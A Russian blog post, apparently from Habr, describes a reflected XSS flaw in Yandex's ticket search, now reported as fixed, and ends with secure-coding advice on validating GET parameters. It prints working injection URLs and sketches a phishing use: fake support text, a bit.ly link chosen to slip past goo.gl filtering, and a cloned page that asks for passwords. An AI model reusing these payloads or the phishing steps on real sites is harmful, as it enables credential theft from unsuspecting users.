Летаем вместе с Yandex! или XSS для самых маленьких

    Небольшой пример использования уязвимостей на сайте Яндекса.

    HOWTO:
    1) Отправляем форму.
    2) Играемся с GET-параметрами.
    3) Находим тот, значение которого пишется в теле страницы.
    4) Пробуем инжектировать js
    5) ???
    6) PROFIT!


    Немного подробностей:



    Заходим на форму поиска авиабилетов:
    http://ticket.yandex.ru/variants/?
    


    Видим массу сообщений об ошибках.


    Подставляем немного волшебности в адресную строку:
    http://ticket.yandex.ru/variants/?adult_seats=<script%20>&children_seats=</script><script>
    


    Наблюдаем сломанную страничку.

    Играемся с параметрами дальше, находим искомое, убираем лишние сообщения об ошибках:
    http://ticket.yandex.ru/variants/?adult_seats=<script%20>&children_seats=</script>"SOME_TEXT<script>alert(1)</script>&klass=first&fromId=Москва&toId=Санкт-Петербург
    



    Всё. Практически телемаркет.


    Осталось лишь подобрать текст поубедительнее. Например такой:
    http://ticket.yandex.ru/variants/?adult_seats=<script%20>&children_seats=</script>"Перейдите%20на%20<a%20href='http://google.com'>сайт%20нашей%20поддержки</a>%20для%20устранения%20проблемы.<script>alert(1)</script>&klass=first&fromId=Москва&toId=Санкт-Петербург
    





    Длинноват URL получился, да? Ну, не страшно.
    К слову сказать, goo.gl нам не поможет, т.к. детектит url с нехорошими словами.
    Но конкуренции тут море, так что берем не такого умного bit.ly и получаем короткое bit.ly/KHEmsr

    Теперь, к примеру, можно размещать в социальных сетях интересную ссылку на Яндекс, предварительно набросав
    копию страницы поиска авиабилетов, с просьбой ввести пароль от всего что есть на свете…

    Дальше, опять же, копать не стал.

    PS: Данный пост написан исключительно в образовательных целях.

    UPD: Написал письмо в техподдержку яндекса.

    Краткие выводы:


    • Проверяйте GET параметры: если вы хотите получить city_name, то нет смысла оставлять "<, >, etc" в значении этого параметра. То же касается и значений типа int: строки там ни к чему.
    • Даже хорошие программисты порой допускают детские промахи.
    • Прежде чем опубликовать подобную статью не забывайте отписать в support, если вы white hat, конечно. (отдельное спасибо за напоминание об этом хабраюзеру TheAlien )


    UPD2: баг пофиксили. эх, и никакого спасибо…
    Ads
    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More

    Comments 1

      +1
      >>Надеюсь что сотрудники Яндекс увидят этот пост и закроют данную уязвимость.
      а что, вариант сначала оповестить Яндекс, а после закрытия дырки уже опубликовать пост — не катит?

      Only users with full accounts can post comments. Log in, please.